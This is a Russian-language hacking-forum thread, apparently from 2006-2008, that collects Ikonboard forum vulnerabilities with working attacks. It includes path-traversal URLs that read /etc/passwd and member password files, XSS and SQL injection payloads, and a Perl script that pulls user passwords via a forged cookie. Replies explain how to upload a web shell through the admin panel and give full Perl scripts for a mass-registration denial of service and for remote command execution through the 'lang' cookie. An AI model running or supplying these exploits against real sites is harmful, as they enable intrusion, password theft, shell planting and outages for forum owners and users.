Форумы [Обзор уязвимостей Ikonboard]

Discussion in 'Уязвимости CMS/форумов' started by _-[A.M.D]HiM@S-_, 27 Oct 2006.

  1. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Ikonboard 1.x

    Уявимость позволяет просмотреть содержимое любого файла, например файл с паролем пользователя форума.

    Code:
    http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00
    This would show the password file, if it is readable with the privileges of the web server.
    
    http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../members/<member>.cgi%00
    This will replace <member> with the member name and it show the board-password (this works with administrator accounts as well).


    Ikonboard 2.1.7

    01 декабря, 2000
    Проблема происходит в операции сценария register.cgi. Из-за недостаточной проверки параметров, можно выполнить программы, с привилегиями процесса Web сервера. Устанавливая переменную $SEND_MAIL в URL, можно определить программу (&SEND_MAIL=/path/program), которая будет выполнена в системе. Этот недостаток позволяет пользователю получить доступ к системе, выполняющей ikonboard.


    Ikonboard 2.1.7b

    Уязвимость позволяет просмотривать произвольные файлы в системе:
    PHP:
    topic.cgi?forum=5&topic=../../../../../../../../../../../../../etc/passwd
    video: http://video.antichat.ru/file42.html



    Ikonboard 2.1.9 Beta
    phpBB 1.4.2


    Активная XSS:

    PHP:
    [img]javasCript:alert('This is the test')[/img]


    Ikonboard 2.1.9

    25 сентября, 2002
    Ikonboard Cookie filter vulnerability

    (Повышение прав, заливка шела)

    Here the variable $filename come from Cookie amembernamecookie not filter "..", attacker can
    sent a fake cookie("amembernamecookie"), set up or edit the file on the system, because the
    write file variable not filter, so the attacker can write any content to the file, and
    gain the bbs administrator's privilege.

    Code:
    File:Search.cgi
    ---[L.55-56]---
    $inmembername     = cookie("amembernamecookie");
    $filename = $inmembername;
    ---
    As we can see, $inmembername is the get for cookie 'amembernamecookie'
    ---[L.66-]---
    $searchfilename = "$ikondir" . "search/$filename";
    ---
    Exploit: http://aoh.name/sploit/aohib.txt

    PHP:
    #!/bin/perl
    use LWP::UserAgent;
    use 
    HTTP::Cookies;

    if(@
    ARGV 2) { ause(); exit();}

    $h=$ARGV[0];
    $u=$ARGV[1];

    $www = new LWP::UserAgent;

    print 
    "[~] Attacking $h\n";

    $res $www->get("http://$h/cgi-bin/ikonboard/search.cgi?action=display" ,   
                     
    'Cookie' => "amembernamecookie=../members/$u.cgi%00;") or err();
      
      
    if(
    $res->content() =~ /$u/) {print "[+] Forum may be vulnerably"; } 
    else {
    err();}

    $res->content() =~ /forum=(\w+)&topic=(\w+)/;
    print 
    "\n[~] Login:$1 \r\n[~] Password:$2";


    sub ause()
    {
    print 
    "\n==[ AOH.NAME ]==\n\n";
    print 
    "<----------------------------------------------------->\n";
    print 
    "Ikonboard all versions users Pass view exploit \nBy Art of Hack security team [Slon, ZxZ]\r\n";
    print 
    "Ussage: aohib.pl <host> <user>\r\n";
    print 
    "<----------------------------------------------------->\n";
    }

    sub err() {print "[-] Forum is NOT vulnerably"; exit();}


    Ikonboard 2.1.9 RussianFullPack
    Уязвимость в Ikonboard позволяет удаленному пользователю выполнить XSS нападение
    Уязвимость найдена в скрипте misc.cgi в форуме Ikonboard 2.1.9 в полях "aimname" и "UIN"

    PHP:
    misc.cgi?action=aim&aimname=<script>javascript:alert('hello')</script>
    PHP:
    misc.cgi?action=icq&UIN=<script>javascript:alert('hello')</script>


    Ikonboard 2.1.9 RussianFullPack

    Уязвимость в Ikonboard в search.cgi позволяет удаленному пользователю изменить содержимое логов поиска, чтобы выполнить произвольные команды на сервере.

    Уязвимость обнаружена в сценарии search.cgi. Скрипт не проверяет параметры поиска, занося их в лог файл. Т.к. лог файл храниться в папке /cgi-bin/board/search, то при вызове лог файла, последний вызовется, как скрипт. Тем самым, придав сохраняемым в лог параметрам вид выполняемых perl - функций, становится возможным выполнять команды. Взломщика интересует 2 параметра. Первый параметр, вносимый в лог - это CUR_TIME, задав его значение как "#/usr/bin/perl" взломщик задаст первую строку лога.

    Второй параметр SEARCH_STRING, задав вместо него "print 'Content-type: text/html\n\n'; system('ls');", взломщим получит выполнение команды "ls". Важно заметить, что двойные кавычки фильтруются сценарием, но их нужно заменить на одинарные. Знаки ">" и "<" так же фильтруются, поэтому открыть файл на запись не состоит возможным.

    Так же стоит заметить, что при использовании функции поиска зарегистрированным пользователем лог файл имеет название [USERNAME]_sch.txt, если пользователь не зарегистрирован в форуме, то файл имеет название Guest[IP-адрес без точек]_sch.txt. (например, Guest127001_sch.txt).


    Пример/Эксплоит: Эксплоит под Windows Apache (perl) вложен ниже. Проверено на локальной системе.

    Содержание Guest127001_sch.txt после эксплоита:
    PHP:
    #!perl
    print 'Content-type: text/html\n\n'system('dir');


    Ikonboard 3.0.0

    05 июня, 2002
    Ikonboard – доска объявлений, осуществленная в Perl. Ikonboard может быть развернута для Linux, UNIX и Windows систем.

    Ikonboard разрешает пользователям загружать Flash содержание, однако, возможно обработать Flash файл таким способом, что злонамеренный JavaScript будет включен в действие getURL.

    Если пользователь просмотрит сообщение, содержащее злонамеренный Flash файл, JavaScript, включенный в действие getURL, выполнится в пределах контекста сайта, выполняющего Ikonboard. Уязвимость может использоваться для организации различных нападений против Web приложения (напр. Перехвата опознавательных мандатов пользователей Ikonboard).

    Exploit: _http://www.securitylab.ru/analytics/216391.php



    Ikonboard 3.1.0, 3.1.1, 3.1.2, и 3.1.3

    Возможно выполнить произвольные SQL команды на уязвимой системе
    Уязвимость существует из-за некорректно обработки входных данных в параметрах 'st' и 'keywords' сценария 'ikonboard.cgi'. Удаленный атакующий может выполнить произвольные SQL команды на уязвимой системе.

    Пример:
    PHP:
    http://[target]/support/ikonboard.cgi?act=ST&f=27&t=13066&hl=nickname&st=1' 
    http://[target]/support/ikonboard.cgi?act=Search&CODE=01&keywords='&type=name&forums=all&search_in=all&prune=0


    IkonBoard 3.1.1

    08 апреля, 2003
    Уязвимость в проверке правильности ввода обнаружена в IkonBoard. Удаленный пользователь может выполнить команды на сервере.

    Как сообщается, функция LoadLanguage() в 'Sources/Lib/FUNC.pm' не в состоянии фильтровать данные пользователя в 'lang' куки. Поскольку в последствии результаты передаются к Perl eval() функции, как часть имени директории, удаленный пользователь может создать специально обработанный 'lang' куки, чтобы выполнять произвольные команды на системе.

    Эксплоит:
    PHP:
    #!/usr/bin/perl -w
    use strict;

    my $HOST 'www.example.domain';
    my $PATH '/cgi-bin/ikonboard.cgi';

    use 
    IO::Socket;

    my $sock IO::Socket::INET->new("$HOST:80") or die "connect: $!";

    $sock->print(<<END) or die "write: $!";
    GET $PATH HTTP/1.1
    Host
    $HOST
    Cookie
    lang=%2E%00%22
    Connection
    close

    END

    print while <$sock>;


    Ikonboard 3.1.5 (3.1.4)
    Уязвимость позволяет производить листинг директорий сервера
    Сама уязвимость находится в Панели управления ---->
    Настройки аватара !
    Щелкаем на настройку аватара как всегда увидим папки аватаров и ниже списки самих картинок.

    Ссылка будет иметь вид :
    cgi-bin/forum/ikonboard.cgi?act=UserCP;CODE=01;MODE=1

    Заглянем в код страницы и увидим что меню выбора папок имеет id useravatar_dir

    Добавим и просмотрим :
    PHP:
    cgi-bin/forum/ikonboard.cgi?act=UserCP;CODE=01;MODE=1;useravatar _dir=../../../
    =======

    P/s:Много кто про Ikonboard спрашивал,многим пригодиться .Извените если что-то пропустил буду пополнять раздел.Пожайлусто тока не надо говорить что это бред,Ikonboard это всёже тоже форумы и все ими пользуються .Всем спасибо за точто я у вас отнял дрогоценное время на чтиво этого топика :(-
     
    #1 _-[A.M.D]HiM@S-_, 27 Oct 2006
    Last edited by a moderator: 12 Jan 2008
    10 people like this.
  2. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    скорее дело в том, что в скрипте прописана папка в которой лежит форум как $res = $www->get("http://$h/cgi-bin/ikonboard/search.cgi?action=display",
    при это реально форум может лежать в совершенно в другом месте, поэтому я изменил это строчку до вида $res = $www->get("http://$h/search.cgi?action=display" , а далее по ходу в командной строке прописываю весь path форума, такой вариант более практичный. если не прав поправтье.
     
  3. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    *************Внимание - Внимание*****************
    Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
    *************Внимание - Внимание*****************

    *************Attention - Attention*****************
    Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
    *************Attention - Attention*****************
     
    #3 _-[A.M.D]HiM@S-_, 22 Jan 2007
    Last edited by a moderator: 2 Mar 2007
  4. JFKenedi

    JFKenedi New Member

    Joined:
    10 Jun 2006
    Messages:
    16
    Likes Received:
    4
    Reputations:
    0
    Загрузка произвольного файла.. (т.е. шелла)
    В Админке..

    Upload Smiles -->
    Выбираем произвольный файл (с любым абсолютно расширением)

    Стандартно смайлы грузятся в /non-cgi/emoticons/
    Дописываем... В графе File Name
    /../shell.php (Напирмер)
    Шелл соответсвенно загрузится в /non-cgi/

    Вообще можно грузить в любую директорию в которой разрешена запись.

    Таким образом получалось загружать файл shell.cgi
    в папку /cgi-bin/

    Но использовать не всегда удается...
    Кое где админы правильно выставляют права..
     
    #4 JFKenedi, 3 Feb 2007
    Last edited by a moderator: 16 Apr 2007
    2 people like this.
  5. _-Ramos-_

    _-Ramos-_ Banned

    Joined:
    4 Jan 2007
    Messages:
    174
    Likes Received:
    215
    Reputations:
    8
    Залить шелл можна намного простым способом :
    Зайти в файловый менеджер ,который есть в админке ,и залить в любую папку свой шелл ,
    но если форум правельно настроен ,то шел может не сработать , но под менеджером есть строка в которой можна с помощю команды chmod выставить нужные права и шелл будет функционален
     
  6. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Ikonboard <= 3.1.5 (Register Users) Denial of Service Exp

    Code:
    #!/usr/bin/perl
    #####################################
    # Ikonboard Register Multiple Users Denial of Service
    # Code Written By Pr0T3cT10n <[email protected] >
    # KamikaZ Security Team <http://www.kamikaz-team.com>
    # ISRAEL
    #####################################
    use warnings;
    use strict;
    use IO::Socket;
    
    my $host = $ARGV[0];
    my $path = $ARGV[1];
    my $rand = rand(10);
    
    if(!$ARGV[1])
    {
    print "#######################################################\n";
    print "# Ikonboard Register Multiple Users Denial of Service\n";
    print "# Code Written By Pr0T3cT10n\n";
    print "#######################################################\n";
    print "# [host] [path]\n";
    print "# host.com /forum/\n";
    print "#######################################################\n";
    exit();
    }
    for(my $i=0; $i<9999; $i++)
    {
        my $name = "KK_" .$rand.$i;
        my $data = "act=Reg&CODE=02&COPPA=&UserName=" .$name. "&PassWord=123456&PassWord_Check=123456&EmailAddress=" .$name. "\@host.com&MEMBER_NAME_R=KamikaZ_Bot&SEX=1&LOCATION=127.0.0.1&HIDE_EMAIL=1&WEBSITE=http%3A%2F%2Fwww.kamikaz-team.com&AOLNAME=&ICQNUMBER=&MSNNAME=&YAHOONAME=&INTERESTS=&SIGNATURE=http%3A%2F%2Fwww.kamikaz-team.com&Post=&agree=1";
        my $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host , PeerPort => "80") or die("[-] Connection faild.\n");
        my $pack = "POST " .$path. "cgi-bin/ikonboard.cgi HTTP/1.0\r\n";
        $pack.= "Host: " .$host. "\r\n";
        $pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
        $pack.= "Content-Length: " .length($data). "\r\n\r\n";
        $pack.= $data;
        print $socket $pack;
        syswrite STDOUT, "+";
    }
    print "[+] Done..\n"; 
     
    2 people like this.
  7. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Ikonboard 3.1.1 и Ikonboard 3.1.2a

    Code:
    #!/usr/bin/perl
    #
    #  Date: 5 May 2003
    #  Author: snooq [http://www.angelfire.com/linux/snooq/]
    #
    #  Ikonboard 3.1.1 Remote Command Execution PoC
    #  ============================================
    #  This bug was found by Nick Cleaton.
    #
    #  For more info and patch, go to:
    #  http://archives.neohapsis.com/archives/bugtraq/2003-04/0027.html
    #
    #  Use at your very own risk.
    #
    #  Greetz.. my team mates: JF, Nam, ET..
    #  And some new frens: Kader, Bufferoulis, Neil... ;)
    #
    use Socket;
    use FileHandle;
    
    if ($ARGV[0] eq '') {
    	print "Usage: $0 <host> [cmd] [path]\n";
    	exit;
    }
    
    my $port=80;
    my $host=$ARGV[0];
    my $addr=getaddr($ARGV[0]);
    my $cmd=$ARGV[1]?($ARGV[1]):"/bin/uname -a";
    my $path=$ARGV[2]?($ARGV[2]):"/cgi-bin/ikonboard.cgi";
    my $buff=URLEncode(".\0\" unless(1);"
    		   ."print \"Content-type: text/plain\\r\\n\\r\\n\";"
    		   ."print \"---BEGIN---\\n\".`$cmd`.\"\\n---END---\";exit;#");
    
    socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
    connect(SOCKET,pack('Sna4x8',AF_INET,$port,$addr,2)) || die "Can't connect: $!\n";
    
    SOCKET->autoflush();
    
    print SOCKET "GET $path HTTP/1.1\r\n";
    print SOCKET "Host: $host\r\n";
    print SOCKET "Cookie: lang=$buff\r\n";
    print SOCKET "Connection: close\r\n\r\n";
    print "Ikonboard Exploit, by snooq [ jinyean\@hotmail.com ]\n\n";
    
    while (<SOCKET>) {
    	if (/^---BEGIN---/) {
    		print "> $cmd\n";
    		while (<SOCKET>){
    			if (/^---END---/) { exit; }
    			print; 
    		} 
    	}
    }
    
    print "$host seems not vulnerable.\n";
    
    exit;
    
    sub getaddr {
    	my $host=($_[0]);
    	my $n=$host;
    	$n=~tr/\.//d;
    
    	if ($n=~m/\d+/) {
    		return pack('C4',split('\.',$host));
    	}
    	else {
    		return (gethostbyname($host))[4];
    	}
    }
    
    # URLEncode routine, courtesy of Glenn Fleishman 
    
    sub URLEncode {
    	my $theURL=$_[0];
    	$theURL=~ s/([\W])/"%".uc(sprintf("%2.2x",ord($1)))/eg;
    	return $theURL;
    }
    
     
    1 person likes this.